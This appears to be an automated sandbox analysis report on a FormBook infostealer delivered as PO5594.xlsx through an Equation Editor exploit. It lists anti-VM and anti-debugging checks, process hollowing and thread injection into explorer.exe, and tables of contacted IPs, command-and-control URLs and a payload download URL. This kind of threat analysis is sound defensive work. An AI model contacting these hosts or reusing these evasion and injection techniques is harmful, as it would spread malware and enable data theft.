Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 000000000040899E second address: 00000000004089A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE RDTSC instruction interceptor: First address: 0000000000088604 second address: 000000000008860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\NETSTAT.EXE RDTSC instruction interceptor: First address: 000000000008899E second address: 00000000000889A4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2596 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE TID: 2736 Thread sleep time: -34000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\NETSTAT.EXE Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088D0 rdtsc 5_2_004088D0
Source: C:\Users\Public\vbc.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 4_2_00405E93 FindFirstFileA,FindClose, 4_2_00405E93
Source: C:\Users\Public\vbc.exe Code function: 4_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 4_2_004054BD
Source: C:\Users\Public\vbc.exe Code function: 4_2_00402671 FindFirstFileA, 4_2_00402671
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.489929362.000000000456F000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.545549121.000000000449C000.00000004.00000001.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.473795632.00000000004F4000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000006.00000000.498055259.00000000044E7000.00000004.00000001.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0
Source: explorer.exe, 00000006.00000000.484915652.000000000029B000.00000004.00000020.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0*N
Source: explorer.exe, 00000006.00000000.482100672.00000000045D6000.00000004.00000001.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}

Anti Debugging:

barindex
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\Public\vbc.exe Code function: 4_2_73057B03 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_73057B03
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\Public\vbc.exe Code function: 4_2_73057B03 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 4_2_73057B03
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\Public\vbc.exe Code function: 4_2_73055990 ksurfviwic,GetProcessHeap,RtlAllocateHeap,VirtualProtect, 4_2_73055990
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 5_2_004088D0 rdtsc 5_2_004088D0
Enables debug privileges
Source: C:\Users\Public\vbc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066402 mov eax, dword ptr fs:[00000030h] 4_2_73066402
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066706 mov eax, dword ptr fs:[00000030h] 4_2_73066706
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066744 mov eax, dword ptr fs:[00000030h] 4_2_73066744
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066616 mov eax, dword ptr fs:[00000030h] 4_2_73066616
Source: C:\Users\Public\vbc.exe Code function: 4_2_730666C7 mov eax, dword ptr fs:[00000030h] 4_2_730666C7
Source: C:\Users\Public\vbc.exe Code function: 5_2_007626F8 mov eax, dword ptr fs:[00000030h] 5_2_007626F8
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022E0080 mov ecx, dword ptr fs:[00000030h] 7_2_022E0080
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_022E00EA mov eax, dword ptr fs:[00000030h] 7_2_022E00EA
Source: C:\Windows\SysWOW64\NETSTAT.EXE Code function: 7_2_023026F8 mov eax, dword ptr fs:[00000030h] 7_2_023026F8
Checks if the current process is being debugged
Source: C:\Users\Public\vbc.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\Public\vbc.exe Code function: 5_2_00409B40 LdrLoadDll, 5_2_00409B40
Source: C:\Users\Public\vbc.exe Code function: 4_2_73058D72 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 4_2_73058D72

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.spacex-live.net
Source: C:\Windows\explorer.exe Domain query: www.schittstore.com
Source: C:\Windows\explorer.exe Domain query: www.metanetgateway.com
Source: C:\Windows\explorer.exe Network Connect: 66.29.132.90 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 104.21.75.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 75.2.60.5 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.241.253.231 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sarahannsartstudio.com
Sample uses process hollowing technique
Source: C:\Users\Public\vbc.exe Section unmapped: C:\Windows\SysWOW64\NETSTAT.EXE base address: D30000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Section loaded: unknown target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\Public\vbc.exe Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\Public\vbc.exe Thread register set: target process: 1764 Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Thread register set: target process: 1764 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: explorer.exe, 00000006.00000000.478045052.0000000000750000.00000002.00020000.sdmp, NETSTAT.EXE, 00000007.00000002.666570815.0000000000D40000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.542019759.0000000000255000.00000004.00000020.sdmp Binary or memory string: ProgmanG
Source: explorer.exe, 00000006.00000000.478045052.0000000000750000.00000002.00020000.sdmp, NETSTAT.EXE, 00000007.00000002.666570815.0000000000D40000.00000002.00020000.sdmp Binary or memory string: !Progman
Source: explorer.exe, 00000006.00000000.478045052.0000000000750000.00000002.00020000.sdmp, NETSTAT.EXE, 00000007.00000002.666570815.0000000000D40000.00000002.00020000.sdmp Binary or memory string: Program Manager<
Source: C:\Users\Public\vbc.exe Code function: 4_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 4_2_004030FB

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 513501 Sample: PO5594.xlsx Startdate: 02/11/2021 Architecture: WINDOWS Score: 100 49 Found malware configuration 2->49 51 Malicious sample detected (through community Yara rule) 2->51 53 Multi AV Scanner detection for submitted file 2->53 55 10 other signatures 2->55 10 EQNEDT32.EXE 12 2->10         started        15 EXCEL.EXE 33 27 2->15         started        process3 dnsIp4 47 103.232.53.25, 49165, 80 AIMS-MY-NETAIMSDataCentreSdnBhdMY Viet Nam 10->47 35 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 10->35 dropped 37 C:\Users\Public\vbc.exe, PE32 10->37 dropped 75 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 10->75 17 vbc.exe 17 10->17         started        39 C:\Users\user\Desktop\~$PO5594.xlsx, data 15->39 dropped file5 signatures6 process7 file8 33 C:\Users\user\AppData\Local\...\xggenq.dll, PE32 17->33 dropped 57 Machine Learning detection for dropped file 17->57 59 Tries to detect virtualization through RDTSC time measurements 17->59 61 Injects a PE file into a foreign processes 17->61 21 vbc.exe 17->21         started        signatures9 process10 signatures11 63 Modifies the context of a thread in another process (thread injection) 21->63 65 Maps a DLL or memory area into another process 21->65 67 Sample uses process hollowing technique 21->67 69 Queues an APC in another process (thread injection) 21->69 24 explorer.exe 21->24 injected process12 dnsIp13 41 sarahannsartstudio.com 162.241.253.231, 49170, 80 UNIFIEDLAYER-AS-1US United States 24->41 43 www.spacex-live.net 104.21.75.173, 49166, 80 CLOUDFLARENETUS United States 24->43 45 4 other IPs or domains 24->45 71 System process connects to network (likely due to code injection or exploit) 24->71 73 Uses netstat to query active network connections and open ports 24->73 28 NETSTAT.EXE 24->28         started        signatures14 process15 signatures16 77 Modifies the context of a thread in another process (thread injection) 28->77 79 Maps a DLL or memory area into another process 28->79 81 Tries to detect virtualization through RDTSC time measurements 28->81 31 cmd.exe 28->31         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.232.53.25
 unknown Viet Nam
45668 AIMS-MY-NETAIMSDataCentreSdnBhdMY true
66.29.132.90
 schittstore.com United States
19538 ADVANTAGECOMUS true
104.21.75.173
 www.spacex-live.net United States
13335 CLOUDFLARENETUS true
75.2.60.5
 www.metanetgateway.com United States
16509 AMAZON-02US true
162.241.253.231
 sarahannsartstudio.com United States
46606 UNIFIEDLAYER-AS-1US true

Contacted Domains

Name IP Active
www.spacex-live.net 104.21.75.173 true
www.metanetgateway.com 75.2.60.5 true
sarahannsartstudio.com 162.241.253.231 true
schittstore.com 66.29.132.90 true
www.sarahannsartstudio.com unknown unknown
www.schittstore.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.spacex-live.net/ddzw/?h2Mdq=Z+FzwJtUDkwgABdyd+p8UeqxtpX8YY+y3UFx7cJDGSHChxct3TL8QRd2MFxOEFehDmKc8w==&_x=gVp0dvG0DtZT6do0 true
  • Avira URL Cloud: safe
 unknown
www.passionfruitny.com/ddzw/ true
  • Avira URL Cloud: safe
 low
http://www.schittstore.com/ddzw/?h2Mdq=eu2i37xABBm77RmOTVlK/UzsyDYSkffg03LYHul4MxZENkm7/tK6Jp9Y8VUWWe4q58P2rA==&_x=gVp0dvG0DtZT6do0 true
  • Avira URL Cloud: safe
 unknown
http://www.metanetgateway.com/ddzw/?h2Mdq=CC4eYJ6GdM3g7jV/74DGeVNO7dTe5083KAYqQjLLOiGFZCFwrjOGC7P0JmGnSxw4GGM5lA==&_x=gVp0dvG0DtZT6do0 true
  • Avira URL Cloud: safe
 unknown
http://103.232.53.25/8880/vbc.exe true
  • Avira URL Cloud: safe
 unknown
http://www.sarahannsartstudio.com/ddzw/?h2Mdq=iXrnxWa2MIQCLF3pcDg6+qoW1dWPNK8gD+C0AcHvSyjXkMlp/HpcZgrhMm+aOjdhifJKjg==&_x=gVp0dvG0DtZT6do0 true
  • Avira URL Cloud: safe
 unknown